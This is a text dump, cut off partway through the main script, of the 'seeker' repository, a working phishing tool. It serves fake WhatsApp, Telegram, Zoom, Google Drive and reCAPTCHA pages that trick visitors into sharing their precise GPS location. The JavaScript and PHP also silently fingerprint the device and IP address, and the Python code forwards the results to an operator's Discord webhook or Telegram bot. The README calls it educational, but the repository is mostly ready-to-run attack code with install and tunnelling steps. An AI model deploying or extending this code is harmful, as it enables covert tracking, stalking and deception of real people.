Showing preview only (870K chars total). Download the full file or copy to clipboard to get everything.
Repository: thewhiteh4t/seeker
Branch: master
Commit: abbbf802cf55
Files: 49
Total size: 841.6 KB
Directory structure:
gitextract__f1mjkpv/
├── .github/
│ ├── FUNDING.yml
│ ├── ISSUE_TEMPLATE/
│ │ ├── config.yml
│ │ └── seeker-error-report---feature-request.md
│ └── workflows/
│ └── ci.yml
├── .gitignore
├── Dockerfile
├── Dockerfile.dev
├── LICENSE
├── README.md
├── createTemplate.md
├── discord_webhook.py
├── install.sh
├── js/
│ └── location.js
├── metadata.json
├── php/
│ ├── error.php
│ ├── info.php
│ └── result.php
├── seeker.py
├── telegram_api.py
├── template/
│ ├── captcha/
│ │ ├── anchor.html
│ │ ├── css/
│ │ │ └── styles__ltr.css
│ │ ├── index_temp.html
│ │ └── js/
│ │ └── main_temp.js
│ ├── custom_og_tags/
│ │ └── index_temp.html
│ ├── gdrive/
│ │ ├── css/
│ │ │ └── main.css
│ │ └── index_temp.html
│ ├── mod_captcha.py
│ ├── mod_custom_og_tags.py
│ ├── mod_gdrive.py
│ ├── mod_nearyou.py
│ ├── mod_telegram.py
│ ├── mod_whatsapp.py
│ ├── mod_whatsapp_redirect.py
│ ├── mod_zoom.py
│ ├── nearyou/
│ │ ├── css/
│ │ │ └── main.css
│ │ └── index_temp.html
│ ├── sample.kml
│ ├── telegram/
│ │ ├── css/
│ │ │ ├── css
│ │ │ └── telegram.css
│ │ └── index_temp.html
│ ├── templates.json
│ ├── whatsapp/
│ │ ├── css/
│ │ │ ├── Epf3I8GM5jv.css
│ │ │ └── s9hWiNS5894.css
│ │ └── index_temp.html
│ ├── whatsapp_redirect/
│ │ ├── css/
│ │ │ ├── Epf3I8GM5jv.css
│ │ │ └── s9hWiNS5894.css
│ │ └── index_temp.html
│ └── zoom/
│ └── index_temp.html
└── utils.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/FUNDING.yml
================================================
# These are supported funding model platforms
github: thewhiteh4t
================================================
FILE: .github/ISSUE_TEMPLATE/config.yml
================================================
blank_issues_enabled: false
contact_links:
- name: Discord
url: https://discord.gg/MtKK7U4
about: Community Server
================================================
FILE: .github/ISSUE_TEMPLATE/seeker-error-report---feature-request.md
================================================
---
name: Seeker Error Report / Feature Request
about: Create a report to help us improve
title: ''
labels: ''
assignees: ''
---
**Describe the Error / Feature Request**
---
**To Reproduce**
---
**Expected behavior**
---
**Screenshots**
---
**Please complete the following information :**
- OS:
- OS Version:
- Browser:
- Full Browser Version:
================================================
FILE: .github/workflows/ci.yml
================================================
name: ci
on:
push:
branches:
- 'master'
jobs:
docker:
runs-on: ubuntu-latest
steps:
-
name: Set up QEMU
uses: docker/setup-qemu-action@v2
-
name: Set up Docker Buildx
uses: docker/setup-buildx-action@v2
-
name: Login to DockerHub
uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
-
name: Build and push
uses: docker/build-push-action@v3
with:
push: true
tags: thewhiteh4t/seeker:latest
================================================
FILE: .gitignore
================================================
db/
logs/
template/__pycache__/
================================================
FILE: Dockerfile
================================================
FROM alpine:latest
RUN apk update
RUN apk add --no-cache \
git \
bash \
musl-dev \
linux-headers \
python3 \
py3-pip gcc \
python3-dev \
php php-json openssh
RUN pip3 install --break-system-packages requests packaging psutil
WORKDIR /root/seeker
RUN git clone https://github.com/thewhiteh4t/seeker.git .
EXPOSE 8080
ENTRYPOINT ["/root/seeker/seeker.py"]
================================================
FILE: Dockerfile.dev
================================================
FROM alpine:latest
RUN apk update
RUN apk add --no-cache \
git \
bash \
musl-dev \
linux-headers \
python3 \
py3-pip gcc \
python3-dev \
php php-json openssh
RUN pip3 install --break-system-packages requests packaging psutil
WORKDIR /root/seeker
COPY . .
EXPOSE 8080
ENTRYPOINT ["/root/seeker/seeker.py"]
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2019 thewhiteh4t
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
<p align="center"><img src="https://i.imgur.com/DIpuNTI.jpg"></p>
<p align="center">
<a href="https://twitter.com/thewhiteh4t">
<img src="https://img.shields.io/badge/-TWITTER-black?logo=twitter&style=for-the-badge">
</a>
<a href="https://twc1rcle.com/">
<img src="https://img.shields.io/badge/-THE WHITE CIRCLE-black?logo=&style=for-the-badge">
</a>
<a href="https://thewhiteh4t.github.io/">
<img src="https://img.shields.io/badge/-BLOG-black?logo=dialogflow&style=for-the-badge">
</a>
</p>
<p align="center">
<br>
<b>Available in</b>
<br>
<img src="https://i.imgur.com/1wJVDV5.png">
</p>
<p>
<a style="margin-right: 10px;" href="https://github.com/thewhiteh4t/seeker#installation">
<img src="https://dabuttonfactory.com/button.png?t=INSTALL&f=Open+Sans&ts=15&tc=000&hp=25&vp=10&c=5&bgt=unicolored&bgc=00e2ff">
</a>
<a style="margin-right: 10px;" href="https://github.com/thewhiteh4t/seeker#usage">
<img src="https://dabuttonfactory.com/button.png?t=USAGE&f=Open+Sans&ts=15&tc=000&hp=25&vp=10&c=5&bgt=unicolored&bgc=00e2ff">
</a>
<a href="https://github.com/thewhiteh4t/seeker#demo">
<img src="https://dabuttonfactory.com/button.png?t=DEMO&f=Open+Sans&ts=15&tc=000&hp=25&vp=10&c=5&bgt=unicolored&bgc=00e2ff">
</a>
</p>
Concept behind Seeker is simple, just like we host phishing pages to get credentials why not host a fake page that requests your location like many popular location based websites. Read more on <a href="https://thewhiteh4t.github.io"> thewhiteh4t's Blog </a>.Seeker Hosts a fake website which asks for Location Permission and if the target allows it, we can get :
* Longitude
* Latitude
* Accuracy
* Altitude - Not always available
* Direction - Only available if user is moving
* Speed - Only available if user is moving
Along with Location Information we also get **Device Information** without any permissions :
* Unique ID using Canvas Fingerprinting
* Device Model - Not always available
* Operating System
* Platform
* Number of CPU Cores - Approximate Results
* Amount of RAM - Approximate Results
* Screen Resolution
* GPU information
* Browser Name and Version
* Public IP Address
* Local IP Address
* Local Port
**Automatic IP Address Reconnaissance** is performed after the above information is received.
**This tool is a Proof of Concept and is for Educational Purposes Only, Seeker shows what data a malicious website can gather about you and your devices and why you should not click on random links and allow critical permissions such as Location etc.**
## How is this Different from IP GeoLocation
* Other tools and services offer IP Geolocation which is NOT accurate at all and does not give location of the target instead it is the approximate location of the ISP.
* Seeker uses HTML API and gets Location Permission and then grabs Longitude and Latitude using GPS Hardware which is present in the device, so Seeker works best with Smartphones, if the GPS Hardware is not present, such as on a Laptop, Seeker fallbacks to IP Geolocation or it will look for Cached Coordinates.
* Generally if a user accepts location permsission, Accuracy of the information recieved is **accurate to approximately 30 meters**
* Accuracy depends on multiple factors which you may or may not control such as :
* Device - Won't work on laptops or phones which have broken GPS
* Browser - Some browsers block javascripts
* GPS Calibration - If GPS is not calibrated you may get inaccurate results and this is very common
## Templates
Available Templates :
* NearYou
* Google Drive (Suggested by @Akaal_no_one)
* WhatsApp (Suggested by @Dazmed707)
* Telegram
* Zoom (Made by @a7maadf)
* Google reCAPTCHA (Made by @MrEgyptian)
Create your own template !
Steps to let you create your template is described in this [how-to](./createTemplate.md)
Once your template is ready, **do not forget to propose it to the community via a PR (pull request)**
## Tested On :
* Kali Linux
* BlackArch Linux
* Ubuntu
* Fedora
* Kali Nethunter
* Termux
* Parrot OS
* OSX - Monterey v.12.0.1
## Installation
### Kali Linux / Arch Linux / Ubuntu / Fedora / Parrot OS / Termux
```bash
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod +x install.sh
./install.sh
```
### BlackArch Linux
```bash
sudo pacman -S seeker
```
### Docker
```bash
docker pull thewhiteh4t/seeker
```
### OSX
```bash
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
python3 seeker.py
````
In order to run in tunnel mode, install ngrok by running this command in the terminal:
```bash
brew install ngrok/ngrok/ngrok
ngrok http 8080
````
## Usage
```bash
python3 seeker.py -h
usage: seeker.py [-h] [-k KML] [-p PORT] [-u] [-v] [-t TEMPLATE] [-d] [--telegram token:chatId] [--webhook WEBHOOK]
options:
-h, --help show this help message and exit
-k KML, --kml KML KML filename
-p PORT, --port PORT Web server port [ Default : 8080 ]
-u, --update Check for updates
-v, --version Prints version
-t TEMPLATE, --template TEMPLATE Auto choose the template with the given index
-d, --debugHTTP Disable auto http --> https redirection for testing purposes
(only works for the templates having index_temp.html file)
--telegram Send info to a telegram bot, provide telegram token and chat to use
format = token:chatId separated by a colon
--webhook Send events to a webhook endpoint to be processed
Note : endpoint must be unauthenticated and accept POST request
#########################
# Environment Variables #
#########################
Some of the options above can also be enabled via environment variables, to ease deployment.
Other parameters can be provided via environment variables to avoid interactive mode.
Variables:
DEBUG_HTTP Same as -d, --debugHTTP
PORT Same as -p, --port
TEMPLATE Same as -t, --template
TITLE Provide the group title or the page title
REDIRECT Provide the URL to redirect the user to, after the job is done
IMAGE Provide the image to use, can either be remote (http or https) or local
Note : Remote image will be downloaded locally during the startup
DESC Provide the description of the item (group or webpage depending on the template)
SITENAME Provide the name of the website
DISPLAY_URL Provide the URL to display on the page
MEM_NUM Provide the number of group membres (Telegram so far)
ONLINE_NUM Provide the number of the group online members (Telegram so far)
TELEGRAM Provide telegram token and chat to use to send info to a telegram bot
format = token:chatId separated by a colon
WEBHOOK Provide the webhook url to forward the events to
Note : endpoint should be unauthenticated and accept POST method
##################
# Usage Examples #
##################
# Step 1 : In first terminal
$ python3 seeker.py
# Step 2 : In second terminal start a tunnel service such as ngrok
$ ./ngrok http 8080
###########
# Options #
###########
# Ouput KML File for Google Earth
$ python3 seeker.py -k <filename>
# Use Custom Port
$ python3 seeker.py -p 1337
$ ./ngrok http 1337
# Pre-select a specific template
$ python3 seeker.py -t 1
################
# Docker Usage #
################
# Step 1
$ docker network create ngroknet
# Step 2
$ docker run --rm -it --net ngroknet --name seeker thewhiteh4t/seeker
# Step 3
$ docker run --rm -it --net ngroknet --name ngrok wernight/ngrok ngrok http seeker:8080
```
## Local Tunnels
Use
```
ssh -R 80:localhost:8080 nokey@localhost.run
```
as an alterntive to ngrok
## Demo
**YouTube**
<a href="https://odysee.com/@thewhiteh4t:2/seeker_v126_demo:e">
<img src="https://thumbnails.odycdn.com/optimize/s:1024:768/quality:85/plain/https://thumbs.odycdn.com/5ce9ed06e0ce8a995987dba0949dbc9a.webp">
</a>
================================================
FILE: createTemplate.md
================================================
# How-to create template
Once your template is working perfect, do not forget to submit it to the community via a Pull Request!
## HTML Files
You are free to implement any HTML + CSS files to get the look and feel you want, however, do not forget to do the bridge with the core javascript part described in the next section.
## Javascript
You can use any JS you need, but to do the link with the core files, ensure you have the following directive on your main html page:
`<script src="js/locate.js"></script>`
This file must not be present, and will be copied by seeker at template startup.
The `information()` function can be called anywhere, to send browser/computer data (without location).
For the location, the `location` function must be called (on a button click or another action), it takes two parameters. The first one is the function to call once the location is sent, and the other is the function to call when the user declines location access.
```
<a class="tgme_action_button_new" onclick="locate(popup, function(){$('#change').html('Failed');});">View in Telegram</a>
Or for a redirect:
<button id="requestButton" style="font-weight:bold" class="jfk-button jfk-button-action" onclick="locate(function(){window.location='REDIRECT_URL';}, function(){$('#change').html('Failed');});">Request access</button>
```
## Template files
There is a unique `templates.json` file, add another entry to this file, at the end.
```
,
{
"name": "Your template name",
"dir_name": "folder where your template code is",
"import_file": "mod_yourtemplate"
}
```
## Python file
In the `template` folder, you will find a set of mod_*.py file, you can copy and adapt an existing one and report the name in the `templates.json` file described above.
This python file is used to replace variables, and prepare files at template startup.
## PHP file
PHP side is managed by seeker, do not include any PHP file
================================================
FILE: discord_webhook.py
================================================
#!/usr/bin/env python3
import requests
from json import dumps, loads
def discord_sender(url, msg_type, content):
json_str = dumps(content)
json_content = loads(json_str)
if msg_type == 'device_info':
info_message = {
"content": None,
"embeds": [
{
"title": "Device Information",
"color": 65280,
"fields": [
{
"name": "OS",
"value": json_content['os']
},
{
"name": "Platform",
"value": json_content['platform']
},
{
"name": "Browser",
"value": json_content['browser']
},
{
"name": "GPU Vendor",
"value": json_content['vendor']
},
{
"name": "GPU",
"value": json_content['render']
},
{
"name": "CPU Cores",
"value": json_content['cores']
},
{
"name": "RAM",
"value": json_content['ram']
},
{
"name": "Public IP",
"value": json_content['ip']
},
{
"name": "Resolution",
"value": f'{json_content["ht"]}x{json_content["wd"]}'
}
]
}
]
}
requests.post(url, json=info_message, timeout=10)
if msg_type == 'ip_info':
ip_info_msg = {
"content": None,
"embeds": [
{
"title": "IP Information",
"color": 65280,
"fields": [
{
"name": "Continent",
"value": json_content['continent']
},
{
"name": "Country",
"value": json_content['country']
},
{
"name": "Region",
"value": json_content['region']
},
{
"name": "City",
"value": json_content['city']
},
{
"name": "Org",
"value": json_content['org']
},
{
"name": "ISP",
"value": json_content['isp']
}
]
}
]
}
requests.post(url, json=ip_info_msg, timeout=10)
if msg_type == 'location':
location_msg = {
"content": None,
"embeds": [
{
"title": "Location Information",
"color": 65280,
"fields": [
{
"name": "Latitude",
"value": json_content['lat']
},
{
"name": "Longitude",
"value": json_content['lon']
},
{
"name": "Accuracy",
"value": json_content['acc']
},
{
"name": "Altitude",
"value": json_content['alt']
},
{
"name": "Direction",
"value": json_content['dir']
},
{
"name": "Speed",
"value": json_content['spd']
}
]
}
]
}
requests.post(url, json=location_msg, timeout=10)
if msg_type == 'url':
url_msg = {
"content": json_content['url'],
"embeds": None,
"attachments": []
}
requests.post(url, json=url_msg, timeout=10)
if msg_type == 'error':
error_msg = {
"content": None,
"embeds": [
{
"color": 16711680,
"fields": [
{
"name": "Error",
"value": json_content['error']
}
]
}
],
"attachments": []
}
requests.post(url, json=error_msg, timeout=10)
================================================
FILE: install.sh
================================================
#!/usr/bin/env bash
LOG_DIR=$PWD/logs
DB_DIR=$PWD/db
ILOG=$LOG_DIR/install.log
mkdir -p $LOG_DIR $DB_DIR
status_check() {
if [ $? -eq 0 ]
then
echo -e "$1 - Installed"
else
echo -e "$1 - Failed!"
fi
}
debian_install() {
echo -e '=====================\nINSTALLING FOR DEBIAN\n=====================\n' > "$ILOG"
pkgs="python3 python3-pip python3-requests python3-packaging python3-psutil php"
install_cmd() {
echo -ne '$1\r'
sudo apt -y install $1 &>> "$ILOG"
status_check $1
echo -e '\n--------------------\n' >> "$ILOG"
}
for pkg_name in $pkgs; do
install_cmd $pkg_name
done
}
fedora_install() {
echo -e '=====================\nINSTALLING FOR FEDORA\n=====================\n' > "$ILOG"
pkgs="python3 python3-pip python3-requests python3-packaging python3-psutil php"
install_cmd() {
echo -ne "$1\r"
sudo dnf install $1 -y &>> "$ILOG"
status_check $1
echo -e '\n--------------------\n' >> "$ILOG"
}
for pkg_name in $pkgs; do
install_cmd $pkg_name
done
}
termux_install() {
echo -e '=====================\nINSTALLING FOR TERMUX\n=====================\n' > "$ILOG"
pkgs="python php"
pip_pkgs="requests packaging psutil"
install_cmd() {
echo -ne "$1\r"
apt -y install $1 &>> "$ILOG"
status_check $1
echo -e '\n--------------------\n' >> "$ILOG"
}
install_pip() {
echo -ne "$1\r"
pip install -U $1 &>> "$ILOG"
status_check $1
echo -e '\n--------------------\n' >> "$ILOG"
}
for pkg_name in $pkgs; do
install_cmd $pkg_name
done
for pkg_name in $pip_pkgs; do
install_pip $pkg_name
done
}
arch_install() {
echo -e '=========================\nINSTALLING FOR ARCH LINUX\n=========================\n' > "$ILOG"
install_cmd() {
echo -ne "$1\r"
yes | sudo pacman -S $1 --needed &>> "$ILOG"
status_check $1
echo -e '\n--------------------\n' >> "$ILOG"
}
pkgs="python3 python-pip python-requests python-packaging python-psutil php"
for pkg_name in $pkgs; do
install_cmd $pkg_name
done
}
echo -e '[!] Installing Dependencies...\n'
if [ -f '/etc/arch-release' ]; then
arch_install
elif [ -f '/etc/fedora-release' ]; then
fedora_install
else
if [ -z "${TERMUX_VERSION}" ]; then
debian_install
else
termux_install
fi
fi
echo -e '=========\nCOMPLETED\n=========\n' >> "$ILOG"
echo -e '\n[+] Log Saved :' "$ILOG"
================================================
FILE: js/location.js
================================================
function information() {
var ptf = navigator.platform;
var cc = navigator.hardwareConcurrency;
var ram = navigator.deviceMemory;
var ver = navigator.userAgent;
var str = ver;
var os = ver;
//gpu
var canvas = document.createElement('canvas');
var gl;
var debugInfo;
var ven;
var ren;
if (cc == undefined) {
cc = 'Not Available';
}
//ram
if (ram == undefined) {
ram = 'Not Available';
}
//browser
if (ver.indexOf('Firefox') != -1) {
str = str.substring(str.indexOf(' Firefox/') + 1);
str = str.split(' ');
brw = str[0];
}
else if (ver.indexOf('Chrome') != -1) {
str = str.substring(str.indexOf(' Chrome/') + 1);
str = str.split(' ');
brw = str[0];
}
else if (ver.indexOf('Safari') != -1) {
str = str.substring(str.indexOf(' Safari/') + 1);
str = str.split(' ');
brw = str[0];
}
else if (ver.indexOf('Edge') != -1) {
str = str.substring(str.indexOf(' Edge/') + 1);
str = str.split(' ');
brw = str[0];
}
else {
brw = 'Not Available'
}
//gpu
try {
gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
}
catch (e) { }
if (gl) {
debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
}
if (ven == undefined) {
ven = 'Not Available';
}
if (ren == undefined) {
ren = 'Not Available';
}
var ht = window.screen.height
var wd = window.screen.width
//os
os = os.substring(0, os.indexOf(')'));
os = os.split(';');
os = os[1];
if (os == undefined) {
os = 'Not Available';
}
os = os.trim();
//
$.ajax({
type: 'POST',
url: 'info_handler.php',
data: { Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os },
success: function () { },
mimeType: 'text'
});
}
function locate(callback, errCallback) {
if (navigator.geolocation) {
var optn = { enableHighAccuracy: true, timeout: 30000, maximumage: 0 };
navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
}
function showError(error) {
var err_text;
var err_status = 'failed';
switch (error.code) {
case error.PERMISSION_DENIED:
err_text = 'User denied the request for Geolocation';
break;
case error.POSITION_UNAVAILABLE:
err_text = 'Location information is unavailable';
break;
case error.TIMEOUT:
err_text = 'The request to get user location timed out';
alert('Please set your location mode on high accuracy...');
break;
case error.UNKNOWN_ERROR:
err_text = 'An unknown error occurred';
break;
}
$.ajax({
type: 'POST',
url: 'error_handler.php',
data: { Status: err_status, Error: err_text },
success: errCallback(error, err_text),
mimeType: 'text'
});
}
function showPosition(position) {
var lat = position.coords.latitude;
if (lat) {
lat = lat + ' deg';
}
else {
lat = 'Not Available';
}
var lon = position.coords.longitude;
if (lon) {
lon = lon + ' deg';
}
else {
lon = 'Not Available';
}
var acc = position.coords.accuracy;
if (acc) {
acc = acc + ' m';
}
else {
acc = 'Not Available';
}
var alt = position.coords.altitude;
if (alt) {
alt = alt + ' m';
}
else {
alt = 'Not Available';
}
var dir = position.coords.heading;
if (dir) {
dir = dir + ' deg';
}
else {
dir = 'Not Available';
}
var spd = position.coords.speed;
if (spd) {
spd = spd + ' m/s';
}
else {
spd = 'Not Available';
}
var ok_status = 'success';
$.ajax({
type: 'POST',
url: 'result_handler.php',
data: { Status: ok_status, Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd },
success: callback,
mimeType: 'text'
});
};
}
================================================
FILE: metadata.json
================================================
{
"name": "seeker",
"author": "thewhiteh4t",
"version": "1.3.1",
"twitter": "https://twitter.com/thewhiteh4t",
"comms": "https://twc1rcle.com/"
}
================================================
FILE: php/error.php
================================================
<?php
header('Content-Type: text/html');
{
$err_status = $_POST['Status'];
$err_text = $_POST['Error'];
$f = fopen('../../logs/result.txt', 'w+');
$data = array('status' => $err_status, 'error' => $err_text);
$json_data = json_encode($data);
fwrite($f, $json_data);
fclose($f);
}
================================================
FILE: php/info.php
================================================
<?php
header('Content-Type: text/html');
{
$ptf = $_POST['Ptf'];
$brw = $_POST['Brw'];
$cc = $_POST['Cc'];
$ram = $_POST['Ram'];
$ven = $_POST['Ven'];
$ren = $_POST['Ren'];
$ht = $_POST['Ht'];
$wd = $_POST['Wd'];
$os = $_POST['Os'];
function getUserIP()
{
// Get real visitor IP
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]))
{
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
$_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if(filter_var($client, FILTER_VALIDATE_IP))
{
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}
return $ip;
}
$ip = getUserIP();
$data = array('platform' => $ptf,
'browser' => $brw,
'cores' => $cc,
'ram' => $ram,
'vendor' => $ven,
'render' => $ren,
'ip' => $ip,
'ht' => $ht,
'wd' => $wd,
'os' => $os);
$json_data = json_encode($data);
$f = fopen('../../logs/info.txt', 'w+');
fwrite($f, $json_data);
fclose($f);
}
================================================
FILE: php/result.php
================================================
<?php
header('Content-Type: text/html');
{
$ok_status = $_POST['Status'];
$lat = $_POST['Lat'];
$lon = $_POST['Lon'];
$acc = $_POST['Acc'];
$alt = $_POST['Alt'];
$dir = $_POST['Dir'];
$spd = $_POST['Spd'];
$data = array(
'status' => $ok_status,
'lat' => $lat,
'lon' => $lon,
'acc' => $acc,
'alt' => $alt,
'dir' => $dir,
'spd' => $spd);
$json_data = json_encode($data);
$f = fopen('../../logs/result.txt', 'w+');
fwrite($f, $json_data);
fclose($f);
}
?>
================================================
FILE: seeker.py
================================================
#!/usr/bin/env python3
VERSION = '1.3.1'
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
Y = '\033[33m' # yellow
import sys
import utils
import argparse
import requests
import traceback
import shutil
from time import sleep
from os import path, kill, mkdir, getenv, environ, remove, devnull
from json import loads, decoder
from packaging import version
parser = argparse.ArgumentParser()
parser.add_argument('-k', '--kml', help='KML filename')
parser.add_argument(
'-p', '--port', type=int, default=8080, help='Web server port [ Default : 8080 ]'
)
parser.add_argument('-u', '--update', action='store_true', help='Check for updates')
parser.add_argument('-v', '--version', action='store_true', help='Prints version')
parser.add_argument(
'-t',
'--template',
type=int,
help='Load template and loads parameters from env variables',
)
parser.add_argument(
'-d',
'--debugHTTP',
type=bool,
default=False,
help='Disable HTTPS redirection for testing only',
)
parser.add_argument(
'-tg', '--telegram', help='Telegram bot API token [ Format -> token:chatId ]'
)
parser.add_argument(
'-wh', '--webhook', help='Webhook URL [ POST method & unauthenticated ]'
)
args = parser.parse_args()
kml_fname = args.kml
port = getenv('PORT') or args.port
chk_upd = args.update
print_v = args.version
telegram = getenv('TELEGRAM') or args.telegram
webhook = getenv('WEBHOOK') or args.webhook
if (
getenv('DEBUG_HTTP')
and (getenv('DEBUG_HTTP') == '1' or getenv('DEBUG_HTTP').lower() == 'true')
) or args.debugHTTP is True:
environ['DEBUG_HTTP'] = '1'
else:
environ['DEBUG_HTTP'] = '0'
templateNum = (
int(getenv('TEMPLATE'))
if getenv('TEMPLATE') and getenv('TEMPLATE').isnumeric()
else args.template
)
path_to_script = path.dirname(path.realpath(__file__))
SITE = ''
SERVER_PROC = ''
LOG_DIR = f'{path_to_script}/logs'
DB_DIR = f'{path_to_script}/db'
LOG_FILE = f'{LOG_DIR}/php.log'
DATA_FILE = f'{DB_DIR}/results.csv'
INFO = f'{LOG_DIR}/info.txt'
RESULT = f'{LOG_DIR}/result.txt'
TEMPLATES_JSON = f'{path_to_script}/template/templates.json'
TEMP_KML = f'{path_to_script}/template/sample.kml'
META_FILE = f'{path_to_script}/metadata.json'
META_URL = 'https://raw.githubusercontent.com/thewhiteh4t/seeker/master/metadata.json'
PID_FILE = f'{path_to_script}/pid'
if not path.isdir(LOG_DIR):
mkdir(LOG_DIR)
if not path.isdir(DB_DIR):
mkdir(DB_DIR)
def chk_update():
try:
print('> Fetching Metadata...', end='')
rqst = requests.get(META_URL, timeout=5)
meta_sc = rqst.status_code
if meta_sc == 200:
print('OK')
metadata = rqst.text
json_data = loads(metadata)
gh_version = json_data['version']
if version.parse(gh_version) > version.parse(VERSION):
print(f'> New Update Available : {gh_version}')
else:
print('> Already up to date.')
except Exception as exc:
utils.print(f'Exception : {str(exc)}')
if chk_upd is True:
chk_update()
sys.exit()
if print_v is True:
utils.print(VERSION)
sys.exit()
import socket
import importlib
from csv import writer
import subprocess as subp
from ipaddress import ip_address
from signal import SIGTERM
# temporary workaround for psutil exception on termux
with open(devnull, 'w') as nf:
sys.stderr = nf
import psutil
sys.stderr = sys.__stderr__
def banner():
with open(META_FILE, 'r') as metadata:
json_data = loads(metadata.read())
twitter_url = json_data['twitter']
comms_url = json_data['comms']
art = r"""
__
______ ____ ____ | | __ ____ _______
/ ___/_/ __ \_/ __ \ | |/ /_/ __ \\_ __ \
\___ \ \ ___/\ ___/ | < \ ___/ | | \/
/____ > \___ >\___ >|__|_ \ \___ >|__|
\/ \/ \/ \/ \/"""
utils.print(f'{G}{art}{W}\n')
utils.print(f'{G}[>] {C}Created By : {W}thewhiteh4t')
utils.print(f'{G} |---> {C}Twitter : {W}{twitter_url}')
utils.print(f'{G} |---> {C}Community : {W}{comms_url}')
utils.print(f'{G}[>] {C}Version : {W}{VERSION}\n')
def send_webhook(content, msg_type):
if webhook is not None:
if not webhook.lower().startswith('http://') and not webhook.lower().startswith(
'https://'
):
utils.print(f'{R}[-] {C}Protocol missing, include http:// or https://{W}')
return
if webhook.lower().startswith('https://discord.com/api/webhooks'):
from discord_webhook import discord_sender
discord_sender(webhook, msg_type, content)
else:
requests.post(webhook, json=content)
def send_telegram(content, msg_type):
if telegram is not None:
tmpsplit = telegram.split(':')
if len(tmpsplit) < 3:
utils.print(
f'{R}[-] {C}Telegram API token invalid! Format -> token:chatId{W}'
)
return
from telegram_api import tgram_sender
tgram_sender(msg_type, content, tmpsplit)
def template_select(site):
utils.print(f'{Y}[!] Select a Template :{W}\n')
with open(TEMPLATES_JSON, 'r') as templ:
templ_info = templ.read()
templ_json = loads(templ_info)
for item in templ_json['templates']:
name = item['name']
utils.print(f'{G}[{templ_json["templates"].index(item)}] {C}{name}{W}')
try:
selected = -1
if templateNum is not None:
if templateNum >= 0 and templateNum < len(templ_json['templates']):
selected = templateNum
else:
selected = int(input(f'{G}[>] {W}'))
if selected < 0:
print()
utils.print(f'{R}[-] {C}Invalid Input!{W}')
sys.exit()
except ValueError:
print()
utils.print(f'{R}[-] {C}Invalid Input!{W}')
sys.exit()
try:
site = templ_json['templates'][selected]['dir_name']
except IndexError:
print()
utils.print(f'{R}[-] {C}Invalid Input!{W}')
sys.exit()
print()
utils.print(
f'{G}[+] {C}Loading {Y}{templ_json["templates"][selected]["name"]} {C}Template...{W}'
)
imp_file = templ_json['templates'][selected]['import_file']
importlib.import_module(f'template.{imp_file}')
shutil.copyfile(
'php/error.php',
f'template/{templ_json["templates"][selected]["dir_name"]}/error_handler.php',
)
shutil.copyfile(
'php/info.php',
f'template/{templ_json["templates"][selected]["dir_name"]}/info_handler.php',
)
shutil.copyfile(
'php/result.php',
f'template/{templ_json["templates"][selected]["dir_name"]}/result_handler.php',
)
jsdir = f'template/{templ_json["templates"][selected]["dir_name"]}/js'
if not path.isdir(jsdir):
mkdir(jsdir)
shutil.copyfile('js/location.js', jsdir + '/location.js')
return site
def server():
print()
port_free = False
utils.print(f'{G}[+] {C}Port : {W}{port}\n')
utils.print(f'{G}[+] {C}Starting PHP Server...{W}', end='')
cmd = ['php', '-S', f'0.0.0.0:{port}', '-t', f'template/{SITE}/']
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
try:
sock.connect(('127.0.0.1', port))
except ConnectionRefusedError:
port_free = True
if not port_free and path.exists(PID_FILE):
with open(PID_FILE, 'r') as pid_info:
pid = int(pid_info.read().strip())
try:
old_proc = psutil.Process(pid)
utils.print(f'{C}[ {R}✘{C} ]{W}')
utils.print(
f'{Y}[!] Old instance of php server found, restarting...{W}'
)
utils.print(f'{G}[+] {C}Starting PHP Server...{W}', end='')
try:
sleep(1)
if old_proc.status() != 'running':
old_proc.kill()
else:
utils.print(f'{C}[ {R}✘{C} ]{W}')
utils.print(
f'{R}[-] {C}Unable to kill php server process, kill manually{W}'
)
sys.exit()
except psutil.NoSuchProcess:
pass
except psutil.NoSuchProcess:
utils.print(f'{C}[ {R}✘{C} ]{W}')
utils.print(
f'{R}[-] {C}Port {W}{port} {C}is being used by some other service.{W}'
)
sys.exit()
elif not port_free and not path.exists(PID_FILE):
